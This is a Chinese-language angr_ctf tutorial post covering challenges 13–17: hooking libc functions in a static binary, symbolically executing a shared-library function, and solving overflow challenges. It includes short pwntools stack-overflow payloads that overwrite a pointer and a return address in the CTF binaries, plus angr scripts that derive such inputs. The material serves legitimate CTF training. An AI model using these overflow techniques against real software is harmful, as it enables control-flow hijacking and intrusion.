angr_ctf——从0学习angr（四）：库操作和溢出漏洞利用

标签：init 函数 state hook ctf angr 溢出 addr

angr_ctf项目中后面13~17题没有新的成块的有关angr的知识了，只是对之前题目使用到的模块的扩展和补充，因此就不先列知识点和使用方式了，直接在实战中边讲解边说明

库操作

13_angr_static_binary：静态编译库函数替换

此题的代码与第1题没有区别，但它是静态编译得来的二进制文件，将所有的库函数都写入二进制文件了。

之前在angr_ctf——从0学习angr（三）中对第8题分析时讲到，angr对于库函数只会分出一条路径，而不关心库函数内部是怎样实现的，库函数内部的分支也不会增加angr路径上的分支数量。

这个说法是正确的，但是不太严谨，这是因为angr存在一个符号函数摘要集（symbolic function summaries）

在默认情况下angr会使用SimProcedures里面的符号函数摘要集替换库函数，本质上是在库函数上设置了Hooking，这些hook 函数高效地模仿库函数对状态的影响，就像我们之前在第8题中做的那样。因此angr不进入库函数内部的原因在于，它实际上执行的是hook函数，而hook函数只模仿了库函数对状态的影响，实际内部的操作并没有实现，因此也就不会产生额外分支。

Simprocedures是一个两层结构，第一层表示包名，第二层则是函数名：

而此题库函数被静态编译进来了，默认启用的符号函数摘要集作用在动态链接库上，因此此时失效了，在该题中调用的库函数都会进入内部并产生相应的分支，这会大大降低angr的效率。因此此题的目的在于，手动使用符号函数摘要集替换程序中使用到的库函数想要获取某个符号函数摘要集中的函数，可以使用下面的代码：

angr.SIM_PROCEDURES['libc']['scanf']()

就可以获取libc包中的scanf函数了，它是一个<SimProcedure scanf>与之前第10题中我们创建的class Hook是同一个类

对于这样的hook函数，可以使用以下两种方式将它hook到目标函数上去：

project.hook(address_of_hooked, angr.SIM_PROCEDURES['libc']['scanf']())

project.hook_symbol('__isoc99_scanf',angr.SIM_PROCEDURES['libc']['scanf']())

一种是传递待hook函数的地址，还有一种是传递函数名。

此外在进入main函数之前，程序会先调用__libc_start_main，它也是库函数，而在创建状态时，如果使用entry_state()，则初始状态就已经经过了__libc_start_main的调用，所以最好也hook掉这个函数，或者使用blank_state手动从main函数开始。

所以此题的解题方式和之前的万能脚本相同，但是需要手动hook一下库函数

angr代码：

import angr
import time
import claripy

time_strat = time.perf_counter()


def good(state):
    tag = b'Good' in state.posix.dumps(1)
    return True if tag else False


def bad(state):
    tag = b'Try' in state.posix.dumps(1)
    return True if tag else False


path_to_binary = './dist/13_angr_static_binary'
p = angr.Project(path_to_binary, auto_load_libs=False)
init_state = p.factory.entry_state()

# 手动hook库函数
p.hook(0x804ed80, angr.SIM_PROCEDURES['libc']['scanf']())
p.hook(0x804ed40, angr.SIM_PROCEDURES['libc']['printf']())
p.hook(0x804f350, angr.SIM_PROCEDURES['libc']['puts']())
p.hook(0x8048280, angr.SIM_PROCEDURES['libc']['strcmp']())
p.hook_symbol('__libc_start_main',
              angr.SIM_PROCEDURES['glibc']['__libc_start_main']())

simgr = p.factory.simgr(init_state)
simgr.explore(find=good, avoid=bad)

if simgr.found:
    solution_state = simgr.found[0]
    flag = solution_state.posix.dumps(0)
    print(flag)

14_angr_shared_library：动态链接库的符号执行

这题不是静态编译了，main函数的逻辑也和13题一样，但是用于混淆输入和比较的函数validate是通过动态链接库调用进来的，因此直接逆向查看动态链接库

此题用万能模板也能暴力破解，但为了练习的目的，我们还是对validate进行符号执行，思路如下：

模拟validate的函数执行，向它传递参数，参数的类型是一个符号变量
用explorer（）探索路径，直到validate函数返回前
为状态添加约束，即返回值为1（这样在main函数当中，就能够打印出Good），为状态添加约束可以使用solution_state.add_constraints

模拟validate的函数执行，有两种方法，一种是使用blank_state()手动设定起始位置，并通过布置栈来向validate传递参数，代码如下：

init_state = p.factory.blank_state(addr=validate_addr)

init_state.regs.ebp = init_state.regs.esp
init_state.stack_push(8)
init_state.stack_push(password_addr)
init_state.stack_push(0)

栈的布置需要了解函数调用约定，这里简单解释一下：

init_state.regs.ebp = init_state.regs.esp

　　这一句是为了初始化ebp，因为采用blank_state来初始化状态的话，大部分寄存器是没有初始化的，处于一个UNINITIALIZED状态，而esp指向栈顶，是有数值的，在第1行代码后打印ebp和esp，结果为：

<BV32 reg_ebp_1_32{UNINITIALIZED}> <BV32 0x7fff0000>，所以为了使栈结构完整，先让ebp到esp的位置来

先push（8）再push（password_addr）

　　这也是函数调用约定决定的，函数的参数从右向左压入栈中，如果不清楚程序采用了哪种函数调用约定，可以通过main函数中，对validate(password, 8)的调用来决定栈的布局

最后push（0）

　　实际上这里你随便push啥都可以，这个位置是函数的返回地址。需要这一步的原因是由于，函数返回地址的入栈是在main函数中完成的，也就是call _validate这条指令完成的。而我们设定的初始状态是在动态链接库的validate函数的开始处，也就是跳过了返回地址入栈这一步，因此也要还原回去。

上述方法需要对栈和汇编有一定的了解，angr提供了更方便的从函数处开始执行的方式：

init_state = p.factory.call_state(func_addr, param1, param2)

这样就可以在函数func_addr处开始，传递给该函数的参数则是param1,param2，可以在这里传递保存了符号变量的地址和8

最后还需要注意的一点是，动态链接库在加载时需要重定位，可以在建立项目时用load_options设定重定位的基址，就像这样：

p = angr.Project(path_to_binary,
                 auto_load_libs=False,
                 load_options={'main_opts': {
                     'custom_base_addr': base_addr
                 }})

如果不设立基址，通常angr会默认加载到0x400000处，在IDA中看到的各个指令的地址都只是相对地址，需要加上基址才能找到它们

angr脚本如下：

import angr
import claripy


def good(state):
    tag = b'Good' in state.posix.dumps(1)
    return True if tag else False


def bad(state):
    tag = b'Try' in state.posix.dumps(1)
    return True if tag else False


path_to_binary = './dist/lib14_angr_shared_library.so'
# 设定基址
base_addr = 0x400000
p = angr.Project(path_to_binary,
                 auto_load_libs=False,
                 load_options={'main_opts': {
                     'custom_base_addr': base_addr
                 }})

# validate函数的地址
validate_addr = base_addr + 0x6d7
init_state = p.factory.blank_state(addr=validate_addr)

# 创建符号变量，符号变量保存地址任意，不影响程序运行的地址就行
password = claripy.BVS('password', 8 * 8)
password_addr = base_addr + 0x5000
init_state.memory.store(password_addr, password)

# 布置栈空间
init_state.regs.ebp = init_state.regs.esp
init_state.stack_push(8)
init_state.stack_push(password_addr)
init_state.stack_push(0)

simgr = p.factory.simgr(init_state)
simgr.explore(find=base_addr + 0x783)

if simgr.found:
    solution_state = simgr.found[0]
    # 添加约束并求解，一般函数返回值会保存在eax中，可以通过IDA确认
    solution_state.add_constraints(solution_state.regs.eax == 1)
    print(solution_state.solver.eval(password, cast_to=bytes))
else:
    raise Exception("No solution found")

溢出漏洞利用

15_angr_arbitrary_read

题目逻辑很简单，当key等于418108212时执行puts（s），否则puts（try_again），而s的初始值被设定为try_again。

这里有个漏洞，就是scanf没有限制输入的字符个数，且v4的地址比s更低，因此输入字符的长度超过v4的长度时，就可以覆盖s，我们让无敌的chatGPT来分析分析

还是看出来问题了的，当然chatGPT不知道我们想要输出Good，所以没有说出覆盖s这一点

此外还通过shift+F12在地址484f4a47处找到了字符串Good Job，因此直接掏出pwntools

from pwn import *

p = process('./dist/15_angr_arbitrary_read')

Good_addr = 0x484f4a47
payload = b'41810812' + b'a'*0x10 + p32(Good_addr)
p.sendline(payload)
p.interactive()

结果如下：

可以看到打印出了Good Job，解题结束。

但又好像没结束，我们是来练习使用angr的，不是来写pwn的。

这题使用angr的解题方式如下：

首先肯定是让输入符号化，先把scanf函数hook了再说，这里尽管通过逆向能知道key必须等于41810812，但没必要费劲给key传递一个确定的值，因为求解key==41810812只是一眨眼的事，angr的最大敌人是路径太多。v4的长度应该要能够覆盖s，这样实际上s也是一个符号了。
之后会到puts(s)这里，什么样的状态应该是我们的目标状态吗，是让puts打印出Good吗？传递给puts的参数只是一个符号，puts没办法通过一个符号找到字符串，所以必须在执行puts前停下来
在puts前停下来如何保证puts能够打印出Good呢？答案是添加约束，让其参数s等于Good的地址。

hook函数的部分不做详细解释，需要注意的是，向一个地址写入字符串时不用管大小端序，也就是不用加上endness=p.arch.memory_endness这个参数。因为尽管字符串的地址在大小端序中的保存方式不同，但是字符串作为一个数组，内部的元素是以大端序保存的，如果当前程序是小端序，添加endness这个参数会导致字符串是反的。

然后，angr在puts前停下时，此时状态对应的地址是多少呢？

在main中，对puts的调用如下

angr是一个基本块一个基本块执行的，因此要么停在0x0804851E要么停在0x08048370，就是不能停在0x08048525这个地址，这个地址不会出现在angr探索的任何一条路径上，因为它不是一个基本块的开始地址。

那么另外两个地址该选哪个呢？0x0804851E处，puts的函数还没有压入栈中，并且puts的参数并不是保存在内存当中的，我们无法获取它在栈中的动态地址，因此只能选0x08048370，然后通过当前状态的esp加上偏移访问参数。

那，偏移是多少？可以看到0x08048370处是jmp指令，此时已经完成了call _puts，也就是说返回地址已经压入栈中了，此时esp应该指向返回地址，所以参数保存在esp + 4当中

angr代码如下：

import angr
import claripy

path_to_binary = './dist/15_angr_arbitrary_read'

p = angr.Project(path_to_binary, auto_load_libs=False)

init_state = p.factory.entry_state()


class Hook(angr.SimProcedure):

    def run(self, str, key_addr, password_addr):
        key_bvs = claripy.BVS('key_bvs', 4 * 8)
        # v4和s相距0x10，再加上s的大小4，一共20个字节
        password_addr_bvs = claripy.BVS('password_addr_bvs', 20 * 8)
        for chr in password_addr_bvs.chop(bits=8):
            self.state.add_constraints(chr >= '0', chr <= 'z')
        self.state.memory.store(key_addr,
                                key_bvs,
                                endness=p.arch.memory_endness)
        # 向地址中写入字符串不用关心大小端序
        self.state.memory.store(password_addr, password_addr_bvs)

        self.state.globals['password'] = password_addr_bvs


p.hook_symbol('__isoc99_scanf', Hook())


def success(state):
    # 此处应为jmp puts的地址
    call_puts_addr = 0x08048370
    if state.addr != call_puts_addr:
        return False

    good_str_addr = 0x484f4a47
    puts_param = state.memory.load(state.regs.esp + 4,
                                   4,
                                   endness=p.arch.memory_endness)

    if state.solver.symbolic(puts_param):
        cp_state = state.copy()
        cp_state.add_constraints(puts_param == good_str_addr)
        # 判断当前状态是否有解，有解就说明找到了目标状态
        if cp_state.satisfiable():
            state.add_constraints(puts_param == good_str_addr)
            return True
        else:
            return False
    else:
        return False


simgr = p.factory.simgr(init_state)
simgr.explore(find=success)

if simgr.found:
    solution_state = simgr.found[0]
    s = solution_state.solver.eval(solution_state.globals['password'],
                                   cast_to=bytes)
    print(s)
else:
    raise Exception("No solution found")

此外对于这段代码：

if state.solver.symbolic(puts_param):
        cp_state = state.copy()
        cp_state.add_constraints(puts_param == good_str_addr)
        # 判断当前状态是否有解，有解就说明找到了目标状态
        if cp_state.satisfiable():
            state.add_constraints(puts_param == good_str_addr)
            return True
        else:
            return False
    else:
        return False

创建一个复制的状态是为了不影响当前状态，如果当前状态还需要进一步执行才能达到目标状态，而你在判断当前状态是否为目标状态时增加了约束，可能会导致错误。

这段代码有一个更简便的写法：

if state.satisfiable(extra_constraints=(is_vulnerable_expression, )):
                
　　state.add_constraints(is_vulnerable_expression)
　　return True
else:
　　return False

在使用satisfiable判断当前状态是否有解时，可以使用extra_constraints添加约束，该约束会跟随状态一起判断是否有解，但该约束不会写入到状态当中。

16_angr_arbitrary_write

和15题一模一样，就不解释了

17_angr_arbitrary_jump：挟持函数控制流

第17题，先逆向，发现捞的很

一个典中典之scanf("%s")，栈溢出，发现还有一个print_good函数，那么依然是不解释连招

from pwn import *

p = process("./dist/17_angr_arbitrary_jump")
payload = b'a' * 0x20 + p32(0xdeadbeef) + p32(0x42585249)
p.sendline(payload)
p.interactive()

但是我们得用angr来解。

这题的目的是获取一个输入，这个输入能够让某个state的eip变成想要的值，也就是控制程序的控制流。那么就意味着我们要让eip变成某个符号变量，然后求解这个符号变量

eip都变成符号变量了，那么程序该如何执行下一条指令呢？angr对于这种情况，一般会将state放到unconstrained这个stash中，有关stash的介绍可见angr_ctf——从0学习angr（一）。这个stash中的state会被angr默认丢弃以增加效率，而现在我们需要这个stash里面的state。可以在创建SM时保存，就像这样：

simgr = p.factory.simgr(init_state, save_unconstrained=True)

处于unconstrained中的state，如果它在eip等于目标地址（也就是print_good的地址）时，能够有解（满足state.satisfiable为真），这样的状态就是目标状态了，可以将它放入到found这个state中，stash中state的转移也可以参考第一篇内容。

angr在执行时，每次进入新的路径就会有新的state，为了判断这个state是否符合要求，这次不用explorer自动探索了，我们采用step单步执行，然后获取state进行判断。